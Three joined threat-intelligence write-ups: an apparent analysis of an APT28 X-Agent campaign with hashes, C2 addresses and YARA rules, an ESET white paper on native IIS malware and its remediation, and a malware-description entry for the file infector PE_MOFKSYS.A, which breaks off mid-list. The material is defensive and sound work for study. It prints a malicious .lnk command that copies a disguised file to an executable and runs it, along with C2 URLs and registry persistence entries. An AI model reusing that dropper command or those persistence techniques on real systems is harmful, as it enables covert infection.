this campaign to compromise the target system. APT28 has a rich arsenal composed of a large number of modular threats and the DLL is the component of the X-Agent we analyzed. X-Agent is a persistent payload injected into the victim machine that can be compiled for almost any Operating System and can be enhanced by adding new ad-hoc components developed for the specific cyber-attack. In our case, the component was submitted to online sandboxes while the new campaign was ongoing. We cannot exclude that the APT group developed the backdoor to target specific organizations including the Italian Marina Militare or any other subcontractor. In our analysis, we were not able to directly connect the malicious DLL file to the X-Agent samples, but we believe they are both part of a well-coordinated surgical attack powered by APT28. The DLL that connects to “marina-info.net” may be the last stage malware that is triggered only when particular conditions occur, for example when the malware infects a system with an IP address belonging to specific ranges. ## Discovered Samples In this section, we report all the samples we analyzed in our investigation. ### “87bffb0370c9e14ed5d01d6cc0747cb30a544a71345ea68ef235320378f582ef.exe” - **MD5:** dc40f11eb6815ca9adea0a3b8ce7262c - **SHA-1:** 31875868738792a258c2b38641acf2aac1ac0352 - **SHA-256:** 87bffb0370c9e14ed5d01d6cc0747cb30a544a71345ea68ef235320378f582ef - **File Size:** 851.07 KB ### “15486216ab9c8b474fe8a773fc46bb37a19c6af47d5bd50f5670cd9950a7207c.exe” - **MD5:** 44d5d647016b04a095f3658260eaac72 - **SHA-1:** 7cd1b5f6774b25727e1d80b29979dadd1d427d3a - **SHA-256:** 15486216ab9c8b474fe8a773fc46bb37a19c6af47d5bd50f5670cd9950a7207c - **File Size:** 484 KB ### “e7dd9678b0a1c4881e80230ac716b21a41757648d71c538417755521438576f6.exe” - **MD5:** 687464d6c668b59f85b0e02012945fe5 - **SHA-1:** b3086b4d99288d50585d4c07a3fdd0970a9843fc - **SHA-256:** e7dd9678b0a1c4881e80230ac716b21a41757648d71c538417755521438576f6 - **File Size:** 1233 KB ### “e53bd956c4ef79d54b4860e74c68e6d93a49008034afb42b092ea19344309914.exe” - **MD5:** 75fa78ebe2ccf42ad885c722a78399aa - **SHA-1:** d41aa10a53684317814c4d4397f46757fe218246 - **SHA-256:** e53bd956c4ef79d54b4860e74c68e6d93a49008034afb42b092ea19344309914 - **File Size:** 851.07 KB ### “sdbn.dll” - **MD5:** 374896a75493a406eb427f35eec86fe5 - **SHA-1:** 7fbf5f83f34b8a3531fb1be7eca83167648e7b21 - **SHA-256:** 1228e9066819f115e8b2a6c1b75352566a6a5dc002d9d36a8c5b47758c9f6a45 - **File Size:** 294 KB ### “upnphost.exe” - **MD5:** edc83f5b08d3d009e60f3700d6a273da - **SHA-1:** 8f338c7afb4346e8fe9f8db289b6fc6a03e68378 - **SHA-256:** d3c30cc8fb8f049ca6d448466f7440e175b53dcdf7d7e769c34693d43d858b06 - **File Size:** 378 KB ## The same malware behind four executables The first four executables listed in the previous paragraph were used as infection vectors in the new campaign we investigated. The samples appear as different payloads but further basic static analysis allowed us to discover that they are the same malware sample: - The first two samples are identical, with the unique difference that the second one is packed using the UPX tool. Once unpacked, we discovered the same payload with also the same hash of the first sample. - The third and the fourth ones are identical too; also in this, the difference is that the fourth one is packed using the UPX tool. - We can speculate that we have two different samples, then we were able to extract two files from the second family: a classic “.lnk” file and a “jpg” file. These files seem to be a classic image and a link, but actually, the jpg file is the executable of the second sample and in the link file is hidden the following command: ``` %systemroot%\System32\cmd.exe /c copy 12-033-1589(1).rar C:\Users\Public\12-033-1589(1).exe || copy 12-033-1589(2).jpg C:\Users\Public\12-033-1589(1).exe & start C:\Users\Public\12-033-1589(1).exe ``` ### upnphost.exe After executing the file, it contacts the IP “45.124.132.127” where it sends periodically some information gathered on the operating system, using the command line “cmd.exe /c tasklist & systeminfo.” According to the WHOIS records, the server is located in Hong Kong. The information is sent to the command and control through HTTPS communication using a POST method. Once the malware has sent the information about the host configuration to the C2, it will download another file, “upnphost.exe,” stored in the path “%APPDATA%\Local\Temp” that probably is the final payload. Moreover, the executable implements a persistence mechanism by setting the registry key. This other file contacts another command and control “46.183.218.37,” located in Latvia. ## Our submission to VirusTotal We also discovered that the “upnphost.exe” file was submitted to VirusTotal by us, likely because of the evasion technique implemented by the dropper. In order to analyze the dropper, we patched it. Once the patching was applied, we were able to analyze the complete malicious behavior of the malware. The malicious code starts contacting the previously mentioned Command and Control and downloads this “upnphost.exe” file. Below are the results we obtained submitting the patched version of the binary on VirusTotal. ## AutoIt Script The communication with the command and control is managed with a script written in the AutoIt language. This script is embedded in the “upnphost.exe” file as a resource, and, when it is launched, it communicates with this other server in HTTPS, sending some information about the victim’s computer. The above figure shows a piece of decompiled code of the AutoIt script, where the IP address and the path, with relative user agent are masqueraded in hexadecimal encoding. After decoding the parameters, we obtain the IP address, the path, and the user agent used to contact the C&C and send back the information about the target system. - **IP:** https://46.183.218.37/ - **Path:** community/wiki-self-signed/name-signed.php - **User agent:** Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 - **Method:** POST Another peculiarity is the name of the function where the code for the HTTPS communication is present. It is “checkupdate()” and it seems that the malware is instructed to contact periodically the C&C waiting for new commands. ## sdbn.dll This file was retrieved from the threat intelligence platforms and was flagged as an APT28 sample, such as also the previous files. It is not clear if this sample is connected to the previous ones, but probably it belongs to the same infection campaign because it was uploaded in the same time period on several online sandboxes. Another characteristic in common with the previous files is that this one is written in Delphi programming language, like also the four initial file droppers. It is rare to find malware written in Delphi language, but previous investigations conducted by other security firms confirm that the APT28 group already used malware written in this language in past campaigns. The most important evidence emerged from the analysis of the sdbn.dll is that it contacted the domain: “marina-info.net,” a clear reference to the Italian Marina Militare. The domain is resolved in the IP “191.101.31.250” which is located in Holland. The communication to the C2 is performed also in this case by using the HTTPS protocol. We discovered at least three paths contacted with a custom user agent header: - **URL:** https://marina-info.net - **Path1:** GET /find/?itwm=QAmXUXFS1aBuXMD4VCMCDg9RQWovPrCA2ag==&btnG=44NK&utm=olrlGjBnc&aq=e5f1l6bFE1ef&N-Fl8=321vSxDE7MWll - **Path2:** POST /open/?btnG=zoHM&btnG=RZ&utm=Ezm2RitD&aq=U&itwm=040sLB2hPVAXDiAILXHi_nYDoZpWbFBwoPg==&oprnd=r0&Mxi3=SVfy - **Path3:** GET /results/?utm=1V_&oprnd=FTLm7-D&aq=mlKH2SmjAwZjy&itwm=rNOn-HdIWmsWfPczLAM1xXdxdqFXHodLoYg== - **Path4:** GET /watch/?itwm=BciqsllH-FDRVo0I6ylP_rBbDJqQNP1wZqA==&from=G&utm=JJ-_N&oe=a&from=QdbP&TFWn0=dDViXhemoD6 Like the “upnphost.exe” malware, this other executable periodically contacts the command and control waiting for new commands. However, we discovered that the server responds always with a 403 Status code Forbidden, also to the requests sent by the malware itself. This behavior could be the result of a server-side control implemented by the server to allow the requests coming only from particular IP addresses or simply it was intentionally disabled by the attackers likely because they believe to have been uncovered by the victims or by the security firms. It could be a security mechanism implemented by the attackers to make hard the investigation of security firms. Moreover, we decided to further investigate the detection rate of this new file on VirusTotal. When we started our analysis, it was zero, which means that the threat was completely undetected and currently the malicious code has a detection rate of 35/65. ## The attack threat map In this paragraph, we show the threat map with the location of the various IP addresses contacted by the samples we analyzed. As we can see, the attack surface covered by the hacker group is incredibly wide: there are two different C2Cs in Europe and another one in China to mislead the analysis and this creates confusion during the reconstruction of the complete cyber-attack. ## Yara rules ```yara import "pe" rule Dropper_APT28XAGENTJuly2018 { meta: description = "Yara Rule for dropper of APT28 XAGENT July2018" author = "CSE CybSec Enterprise - Z-Lab" last_updated = "2018-07-13" tlp = "white" category = "informational" strings: $a = {8B 45 FC 8B 10 FF} $b = {33 2E 34 2D 31 39} condition: (pe.number_of_sections == 9 and pe.sections[3].name == ".bss" and all of them) or (pe.number_of_sections == 3 and pe.sections[0].name == "UPX0" and pe.sections[1].name == "UPX1" and pe.number_of_resources == 70 and pe.resources[61].type == pe.RESOURCE_TYPE_RCDATA and pe.resources[60].type == pe.RESOURCE_TYPE_RCDATA and pe.resources[59].type == pe.RESOURCE_TYPE_RCDATA) } rule FirstPayload_upnphost_APT28XAGENTJuly2018 { meta: description = "Yara Rule for APT28 XAGENT July2018 First Payload" author = "CSE CybSec Enterprise - Z-Lab" last_updated = "2018-07-13" tlp = "white" category = "informational" strings: $a = {56 AB 37 92 E8} $b = {41 75 74 6F 49 74} condition: pe.number_of_resources == 26 and pe.resources[19].type == pe.RESOURCE_TYPE_RCDATA and pe.version_info["FileDescription"] contains "Compatibility" and all of them } rule SecondPayload_sdbn_APT28XAGENTJuly2018 { meta: description = "Yara Rule for APT28 XAGENT July2018 Second Payload sdbn.dll" author = "CSE CybSec Enterprise - Z-Lab" last_updated = "2018-07-13" tlp = "white" category = "informational" strings: $a = {0F BE C9 66 89} $b = {8B EC 83 EC 10} condition: pe.number_of_sections == 6 and pe.number_of_resources == 1 and pe.resources[0].type == pe.RESOURCE_TYPE_VERSION and pe.version_info["ProductName"] contains "Microsoft" and all of them } ```
# ESET Research White Papers **TLP: WHITE** ## Anatomy of Native IIS Malware **Authors:** Zuzana Hromcová Anton Cherepanov --- ## Executive Summary Internet Information Services (IIS) is Microsoft web server software for Windows with an extensible, modular architecture. It is not unknown for threat actors to misuse this extensibility to intercept or modify network traffic – the first known case of IIS malware targeting payment information from e-commerce sites was reported in 2013. Fast-forward to March 2021, and IIS backdoors are being deployed via the recent Microsoft Exchange pre-authentication RCE vulnerability chain (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065), with government institutions among the targets. As Outlook on the web is implemented via IIS, Exchange email servers are particularly interesting targets for IIS malware. IIS malware should be in the threat model, especially for servers with no security products. Despite this, no comprehensive guide has been published on the topic of the detection, analysis, mitigation, and remediation of IIS malware. In this paper, we fill that gap by systematically documenting the current landscape of IIS malware, focusing on native IIS modules (implemented as C++ libraries). Based on our analysis of 14 malware families – 10 of them newly documented – we break down the anatomy of native IIS malware, extract its common features, and document real-world cases, supported by our full-internet scan for compromised servers. We don’t focus on any single threat actor, malware family, or campaign, but rather on the whole class of IIS threats – ranging from traffic redirectors to backdoors. We cover curious schemes to boost third-party SEO by misusing compromised servers, and IIS proxies turning the servers into a part of C&C infrastructure. Finally, we share practical steps for the defenders to identify and remediate a successful compromise. ## Introduction IIS is Microsoft web server software for Windows. Since IIS v7.0 (first shipped with Windows Vista and Windows Server 2008), the software has had a modular architecture – both native (C++ DLL) and managed (.NET assembly) modules can be used to replace or extend core IIS functionality. For example, developers can use IIS modules to modify how requests are handled or perform special logging or traffic analysis. It comes as no surprise that the same extensibility is attractive for malicious actors – to intercept network traffic, steal sensitive data, or serve malicious content. Web server software has been targeted by malware in the past (such as Darkleech), and IIS software is no exception. There have already been a few individual reports of malicious IIS modules, used for cybercrime and cyberespionage alike: - 2013 – ISN infostealer reported by Trustwave, a native module - 2018 – RGDoor backdoor reported by Palo Alto Networks, a native module - 2019 – incident response report by Secpulse, native modules - 2020 – infostealer reported by TeamT5, a managed module - 2021 – IIS-Raid backdoor deployed via an Exchange server vulnerability, reported by ESET, a native module However, the existing reports on IIS threats are limited in scope, with the knowledge fragmented and technical details often missing or inaccurate. No comprehensive guide has been published on the topic. In this paper, we take a step back and look at this class of threats – both known and newly reported. To limit the scope of this research, we focus on malicious native modules – malicious C++ libraries, installed on the IIS server as its modules. We don’t cover managed modules, nor other malware that is able to run on IIS servers but not designed as IIS server modules (such as scripts). Unless explicitly stated otherwise, when the terms IIS modules or modules are used in this paper, we are always referring to native IIS modules. We analyze 14 individual malware families (including 10 newly documented), obtained from our telemetry or from VirusTotal. ESET security solutions detect these families as Win{32,64}/BadIIS and Win{32,64}/Spy.IISniff. In Section 3 of this paper, we document common IIS malware features, attack scenarios, prevalence, and targets, based on the analysis and results of internet scans we ran to complement our telemetry and identify additional victims. In Section 4, we provide the essentials for reverse-engineering native IIS malware. We dissect the anatomy of malicious native IIS modules and examine how their features can be implemented. We use examples taken from various malware families across the paper to illustrate the techniques and functionality and show notable cases. Full analyses of all the IIS malware families we have studied are provided in the Appendix of this paper, as reference material. ## Background Information In the course of our research, we collected 80+ unique native IIS malware samples and clustered them into 14 malware families. Throughout the paper, we refer to these families as Group 1 to Group 14. Except for the previously reported families ISN, RGDoor, and IIS-Raid, the families are relatively new – with first-detected activity ranging between 2018 and 2021. Many of these families have been under active development throughout 2021, continuing as of this writing, but are not related to each other. They are individual malware families with one key feature – that they are developed as malicious native IIS modules. We don’t focus on attribution in this paper, and our grouping to 14 malware families doesn’t necessarily directly correspond to 14 distinct threat actors. For example, while the features of Groups 8–12 vary, code overlaps suggest a common developer behind these families. On the other hand, several threat actors have been using an IIS backdoor derived from the same publicly available code, and we refer to all of these cases collectively as Group 1. ### IIS Malware Types Being a part of the server allows the cybercriminals to intercept traffic and bypass SSL/TLS – even if the communication channel is encrypted, the attackers have full access to data processed by the server, such as credentials and payment information processed by e-commerce sites. Furthermore, our research shows that IIS modules are used to serve malicious content, manipulate search engine algorithms, or to turn benign servers into malicious proxies, which are then used in other malware campaigns to conceal C&C infrastructure. Finally, while IIS is not the most widely used web server software, it is used to implement Outlook on the web (aka OWA) for Microsoft Exchange email servers, which also makes it a particularly interesting target for espionage. We queried the Shodan service for servers with the IIS banner X-AspNet-Version and Outlook in the title to estimate a number of such servers – as shown in Figure 1, the number of public-facing servers with OWA running Microsoft Exchange 2013 or 2016 is over 200,000. In all cases, the main purpose of IIS malware is to process HTTP requests incoming to the compromised server and affect how the server responds to (some of) these requests – how they are processed depends on malware type. We identified five main modes in which IIS malware operates: - **Backdoor mode** allows the attackers to remotely control the compromised computer with IIS installed. - **Infostealer mode** allows the attackers to intercept regular traffic between the compromised server and its legitimate visitors, to steal information such as login credentials and payment information. - **Injector mode** where IIS malware modifies HTTP responses sent to legitimate visitors to serve malicious content. - **Proxy mode** turns the compromised server into an unwitting part of C&C infrastructure for another malware family, and misuses the IIS server to relay communication between victims and the real C&C server. - **SEO fraud mode** where IIS malware modifies the content served to search engines to manipulate SERP algorithms and boost ranking for selected websites. These mechanisms are illustrated in Figure 2 and described in detail later in this paper. Of the 14 malware families examined, several combine two, three, or more of these mechanisms, as listed in Table 1. The design of IIS modules allows them to handle various HTTP requests differently to support several modes – for example, requests from legitimate users can be handled in infostealer mode while attacker requests are handled in backdoor mode. ### Typical Attack Overview #### Initial Vector The raw data we had for this research was mostly malware samples only, often missing contextual information. Thus, it is difficult to determine the initial access vector used to install these malicious modules into IIS servers. However, we know that administrative rights are required to install a native IIS module, as they have unrestricted access to any resource available to the server worker process. This narrows down the options for the initial attack vector. We have seen evidence for two scenarios: 1. **Trojanized modules**: The first observed initial access technique is through trojanized IIS modules. In this scenario, the IIS server administrator unwittingly installs a trojanized version of a legitimate IIS module, perhaps one downloaded from unofficial sources. 2. **Server exploitation**: Another option is an attacker who is able to get access to the server via some configuration weakness or vulnerability in a web application or the server, and then installs the malicious IIS module on the server once such access is gained. According to our telemetry, Group 7 samples are used in connection with Juicy Potato (detected as Win64/HackTool.JuicyPotato by ESET security solutions), which is a privilege escalation tool. Furthermore, in March 2021 we detected several variants of Group 1 samples (based on an open-source IIS backdoor and used by various actors) deployed on vulnerable Microsoft Exchange servers via the ProxyLogon vulnerability chain. #### Persistence and Execution Once installed, a native IIS module is loaded by all worker processes on the server. IIS Worker Process (w3wp.exe) handles the requests sent to the IIS web server; thus an IIS module is able to affect the processing of every request. IIS itself is persistent – with the default installation, its services (such as World Wide Web Publishing Service, Windows Process Activation Service, or Application Host Helper Services) are configured to run automatically at each system start. This means there is no need for native IIS malware to implement additional persistence mechanisms. ### Victimology According to our telemetry, only a small number of servers were targeted by the studied malware families, but this is likely affected by our limited visibility into IIS servers – it is still common for administrators not to use any security software on servers. To complement our telemetry, we therefore performed internet-wide scans for selected families to identify other potential victims. It is important to note that victims of IIS malware are not limited to compromised servers – all legitimate visitors of the websites hosted by these servers are potential targets, as the malware can be used to steal sensitive data from the visitors or serve malicious content. We will not list all the targets exhaustively in this section - for information about the targets of the respective IIS malware families, please refer to the Appendix of this paper. Instead, we will focus on the most notable case – Group 1 – which is a collection of malware samples derived from a publicly available backdoor called IIS-Raid. In its original form, the backdoor supports simple features such as downloading and uploading files, and running shell commands, which can be activated when attackers send an HTTP request including custom headers with a password. This malware has been customized by various threat actors – we have found 11 header and password combinations. In March 2021, we detected a wave of IIS-Raid variants in the wild, after the Microsoft Exchange pre-authentication RCE vulnerability chain was disclosed. Several threat actors have used this vulnerability chain to deploy IIS malware on Exchange servers that have OWA support that relies on IIS. Since then, we have detected three more variants of IIS-Raid, and an additional variant of the Group 3 backdoor, all spreading through the vulnerability to Microsoft Exchange servers. ### Anatomy of Native IIS Malware In this core section of our paper, we dissect the architecture of native IIS modules and explain how threat actors fit their malicious functionality into this architecture. #### Native IIS Malware Essentials A native IIS module is a dynamic-link library (DLL) written using the IIS C++ API. Native modules are located in the `%windir%\system32\inetsrv\` folder on the server and can be configured for some, or for all, applications hosted by the server. These modules can be configured by a command line tool AppCmd.exe, via a GUI editor IIS Manager, or by manually editing the `%windir%\system32\inetsrv\config\ApplicationHost.config` configuration file. The modules are then loaded by the IIS Worker Process (w3wp.exe), which handles requests sent to the IIS server. #### Module Class In order for IIS to load the DLL successfully, any native IIS module must export the RegisterModule function, which is the library entry point, responsible for registering the module for (one or more) server events. Events are generated when IIS processes an incoming HTTP request and event handlers are where the core functionality of IIS modules is implemented. Therefore, all native IIS modules (malicious or benign) will implement a module class inheriting either from CHttpModule class or from CGlobalModule class, and will override a number of their event handler methods. The first step of analyzing a malicious native IIS module is to locate the module class and identify the overridden methods - this is where the malicious functionality will be implemented. #### Request-Processing Pipeline As the previous section explains, the RegisterModule function is responsible for initialization while most of the malicious functionality in native IIS malware is found in its event handlers. This section explains the significance of these events and when they are triggered. Events are steps in which IIS processes all incoming HTTP requests (whether GET, POST, or other). These steps are taken serially, in the request-processing pipeline, and each of them generates two request-level notifications for the request. For example, the first step (BeginRequest event) generates: - Event notification handled by the OnBeginRequest handler - Post-event notification handled by the OnPostBeginRequest handler Post-event notifications are generated immediately after the corresponding request-level event in the pipeline. Using these notifications, a malicious IIS module can hook any part of the pipeline. Other notifications are generated when specific, non-deterministic events occur, most notably, OnSendResponse handler handles the event when IIS sends the response buffer, which is a step with no fixed position in the pipeline. For malicious modules, the difference between event and post-event request notifications is generally not significant. In our sample set, the malware generally registers handlers at the beginning of the pipeline (to be able to process the incoming requests), and/or when a response is being sent (to be able to intercept or modify it). Finally, some server events are not tied to individual HTTP requests but occur on the global level. For example, the GlobalFileChange event occurs when a file within a web site is changed. Some Group 9 samples override the CGlobalModule::OnGlobalPreBeginRequest method to process requests before they enter the request-processing pipeline. #### RegisterModule Function To summarize, each native IIS module must export the RegisterModule function and implement at least one of these classes: a. To be able to register for request-level notifications: A class inheriting from CHttpModule (module class) and a class implementing IHttpModuleFactory (the factory class for the module). The factory class is responsible for creating instances of the module for each incoming HTTP request. b. To be able to register for global-level notifications: A class inheriting from CGlobalModule. The RegisterModule function creates instances of the core classes and registers for events that should be handled by the module. This is done by calls to the SetRequestNotifications or SetGlobalNotifications methods on the pModuleInfo instance, respectively, specifying a bitmask of events to which it will receive notifications. In the malware families we examined, a typical RegisterModule function is as minimalistic as possible, only registering the OnSendResponse handler. Optionally, the RegisterModule function can also set the request-level priority for the module using the IHttpModuleRegistrationInfo::SetPriorityForRequestNotification method. For cases when several IIS modules (malicious and regular) are registered for the same event, this priority is used to enforce the order in which their respective handlers will be called. #### Native IIS Malware Features Whether the IIS malware’s purpose is to steal credential information from legitimate visitors, or serve them malicious content, all native IIS modules operate in the same phases. A malicious IIS module starts with parsing an incoming HTTP request to identify whether it was sent by a legitimate user, by the attacker, or another party, and whether it should be processed. According to this classification, the malware then processes the request and modifies the HTTP response accordingly. Typically, only a few of the inbound HTTP requests are of interest to the malicious module and will trigger an action; the rest of the requests pass through the malware pipeline untouched. #### Modifying HTTP Responses Malicious IIS modules can manipulate the HTTP response (as prepared by other IIS modules), using the IHttpContext and IHttpResponse interfaces. For example, after they handle attacker requests, Group 8 backdoors discard any HTTP response prepared by other IIS modules and replace it with their own. Another interesting case is Group 9 – in response to search engine web crawler requests, this malware appends data obtained from the C&C server to the HTTP response prepared by the IIS server. ### Anti-Analysis and Detection Evasion Techniques None of the samples we analyzed use any complex method of obfuscation or other methods to avoid detection – we suspect the threat actors didn’t implement these mechanisms because IIS servers often lack security solutions anyway, and because IIS malware is not that common or commonly analyzed. However, it is important to note that even without additional obfuscations implemented, some features of native IIS malware make analysis and detection harder implicitly: - IIS API is based on C++ classes, rather than on Windows API functions, which can thwart some simple detection methods. - The default C&C mechanism is “passive”: the attacker sends a specific HTTP request to the compromised IIS server, and the malicious IIS module embeds the response in the HTTP response to this request. This makes it difficult to identify C&C servers without logs from the compromised server, as no C&C server is hardcoded in those samples. ### Mitigation In this part, we discuss measures that could be used to prevent the compromise of IIS servers, and how to navigate the IIS server to detect and remove native IIS malware. #### Preventing Compromise of IIS Servers Since native IIS modules can only be installed with administrative privileges, the attackers first need to obtain elevated access to the IIS server. The following recommendations could help make their work harder: - Use dedicated accounts with strong, unique passwords for the administration of the IIS server. Require MFA for these accounts. Monitor the usage of these accounts. - Regularly patch your OS, and carefully consider which services are exposed to the internet, to reduce the risk of server exploitation. - Consider using a web application firewall, and/or endpoint security solution on your IIS server. - Native IIS modules have unrestricted access to any resource available to the server worker process; you should only install native IIS modules from trusted sources to avoid downloading their trojanized versions. - Regularly check the configuration file `%windir%\system32\inetsrv\config\ApplicationHost.config`, as well as the `%windir%\system32\inetsrv\` and `%windir%\SysWOW64\inetsrv` folders to verify that all the installed native modules are legitimate. For web developers: If you don’t have control over the IIS server where your web service is hosted, these measures can’t be applied by you. However, you can still take steps to reduce the impact on users of your web service in the case of a compromise, especially: - Do not send credentials to the server (not even over SSL/TLS); use cryptographically strong one-way salted hashes on the client side. - Avoid unnecessary sending sensitive information from the web application; use payment gateways. #### Detecting Compromised IIS Servers All native IIS modules are configured in the `%windir%\system32\inetsrv\config\ApplicationHost.config` configuration file, and should be installed in the `%windir%\system32\inetsrv\` or the `%windir%\SysWOW64\inetsrv` folder. To check whether your IIS server has been compromised with native IIS malware, verify that all the installed modules are legitimate, using these methods: - Verify the modules are signed by trusted providers. - Use IoCs listed in the Appendix of this paper to look for suspicious modules. - Use YARA rules published on our GitHub repository that we publish with this paper to search for Groups 1–14 analyzed in this report. - Use the free ESET online scanner to reveal malicious modules. Furthermore, check IIS server logs for indicators of malicious activity, as listed in the IoCs section. Pay attention to custom HTTP headers that attackers use to instruct their malicious IIS modules. #### Removing Native IIS Malware To uninstall a malicious native IIS module, follow these steps: - Remove the module from the list of IIS modules configured on the IIS server. It’s not enough to remove it from all web applications; it also must be removed globally. - Delete the malicious DLL file from the `%windir%\system32\inetsrv` or the `%windir%\SysWOW64\inetsrv` folder. The module can be removed manually by editing the IIS configuration, via the IIS Manager GUI, or via AppCmd.exe command line tool. It is not necessary to restart the IIS server to remove a module; however, the module itself may not be the only malicious component on the server. If you do not plan to reinstall the IIS server, it is highly recommended to scan for (and remove any) additional malware, make sure the OS and software are up-to-date, and modify the passwords of all the accounts that have administrative rights on the compromised server.
# PE_MOFKSYS.A ## Overview **Infection Channel:** Downloaded from the Internet, Dropped by other malware, Infects files This file infector arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It uses Windows Task Scheduler to create a scheduled task that executes the dropped copy. It modifies registry entries to disable various system services, preventing most system functions from being used. It prepends its codes to target files, executes commands from a remote malicious user, and steals certain information from the system and/or the user. ## Technical Details ### Arrival Details This file infector arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. ### Installation This file infector drops the following non-malicious files: - `%System%\cmsys.cmn` - `%User Profile%\Application Data\icsys.icn` (Note: `%System%` is the Windows system folder, usually `C:\Windows\System32`. `%User Profile%` is the current user's profile folder, usually `C:\Documents and Settings\{user name}` on Windows 2000, XP, and Server 2003, or `C:\Users\{user name}` on Windows Vista and 7.) It uses Windows Task Scheduler to create a scheduled task that executes the dropped copy. ### Autostart Technique This file infector adds the following registry entries to enable its automatic execution at every system startup: - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce` - `Svchost = "%Windows%\svchost.exe RO"` - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{Random CLSID}` - `StubPath = "%Application Data%\mrsys.exe MR"` - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce` - `Explorer = "%System%\explorer.exe RO"` - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` - `Explorer = "%System%\explorer.exe RU"` - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` - `Svchost = "%Windows%\svchost.exe RU"` It modifies the following registry entries to ensure its automatic execution at every system startup: - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` - `Shell = "%Windows%\explorer.exe, %System%\explorer.exe"` (Note: The default value data of the said registry entry is `Explorer.exe`.) The scheduled task executes the malware at the following period: Everyday at malware's first execution time. ### Other System Modifications This file infector adds the following registry entries as part of its installation routine: - `HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Explorer\Process` - `LO = "1"` - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule` - `AtTaskMaxHours = "48"` It adds the following registry keys as part of its installation routine: - `HKEY_CURRENT_USER\Software\VB and VBA Program Settings` - `HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Explorer` - `HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Explorer\Process` - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{Random CLSID}` It modifies registry entries to disable the following system services: - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess` - `Start = "4"` (Note: The default value data of the said registry entry is 2.) It modifies the following registry entries to hide files with Hidden attributes: - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced` - `ShowSuperHidden = "0"` (Note: The default value data of the said registry entry is 1.) ### File Infection This file infector infects the following file types: - `.EXE` It prepends its codes to target files. This is the Trend Micro detection for files infected by: - `PE_MOFKSYS.A-O` ### Backdoor Routine This file infector executes the following commands from a remote malicious user: - Update itself - Download other files - Capture screen - Log Keystrokes - Monitor mouse clicks - Monitor window titles It connects to the following URL(s) to send and receive commands from a remote malicious user: - `{BLOCKED}.t35.com` - `{BLOCKED}.atspace.com` - `{BLOCKED}.zxq.net` ### Dropping Routine This file infector drops the following files: - `%Application Data%\mrsys.exe` - detected as `PE_MOFKSYS.A-O` - `%Windows%\spoolsv.exe` - detected as `PE_MOFKSYS.A-O` - `%Windows%\svchost.exe` - detected as `PE_MOFKSYS.A-O` - `%System%\explorer.exe` - detected as `PE_MOFKSYS.A-O` - `%User Profile%\Application Data\icsys.icn.exe` - detected as `PE_MOFKSYS.A-O` - `%System Root%\Documents and Settings\All Users\Application Data\stsys.exe` - detected as `PE_MOFKSYS.A-O` (Note: `%Application Data%` is the current user's Application Data folder, usually `C:\Documents and Settings\{user name}\Application Data` on Windows 2000, XP, and Server 2003, or `C:\Users\{user name}\AppData\Roaming` on Windows Vista and 7. `%Windows%` is the Windows folder, usually `C:\Windows`. `%System%` is the Windows system folder, usually `C:\Windows\System32`. `%User Profile%` is the current user's profile folder, usually `C:\Documents and Settings\{user name}` on Windows 2000, XP, and Server 2003, or `C:\Users\{user name}` on Windows Vista and 7. `%System Root%` is the root folder, usually `C:\`. It is also where the operating system is located.) ### Information Theft This file infector steals the following information: - Email configurations - User name - Password - Authenticate status - Use of SSL - SMTP server - SMTP port - Recipients - Instant messenger credentials - Websites visited - Clipboard contents ### Drop Points This file infector uses its own SMTP engine to send the stolen data using the following domain server: - `{BLOCKED}[email protected]` - `{BLOCKED}[email protected]` - `{BLOCKED}[email protected]` **Notes:** It infects all `.EXE` files inside the folders accessed by the user in all physical and removable drives. It also shares the following folder in the network: - `%System Root%\Documents and Settings\All User\Application Data` ## Solution **Step 1:** Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers. **Step 2:** Remove the malware/grayware file that dropped/downloaded `PE_MOFKSYS.A` - `PE_MOFKSYS.A-O`. **Step 3:** Identify and delete files detected as `PE_MOFKSYS.A` using the Recovery Console. **Step 4:** Delete this registry key: - In `HKEY_CURRENT_USER\Software\VB and VBA Program Settings` **Important:** Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. **Step 5:** Delete the random registry key/s that this malware created. **Step 6:** Delete this registry value: - In `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce` - `Explorer = "%System%\explorer.exe RO"` - In `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce` - `Svchost = "%Windows%\svchost.exe RO"` - In `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` - `Explorer = "%System%\explorer.exe RU"` - In `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` - `Svchost = "%Windows%\svchost.exe RU"` - In `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule` - `AtTaskMaxHours = "48"` **Step 7:** Restore this modified registry value: - In `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` - From: `Shell = "%Windows%\explorer.exe, %System%\explorer.exe"` - To: `Shell = Explorer.exe` - In `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess` - From: `Start = "4"` - To: `Start = 2` - In 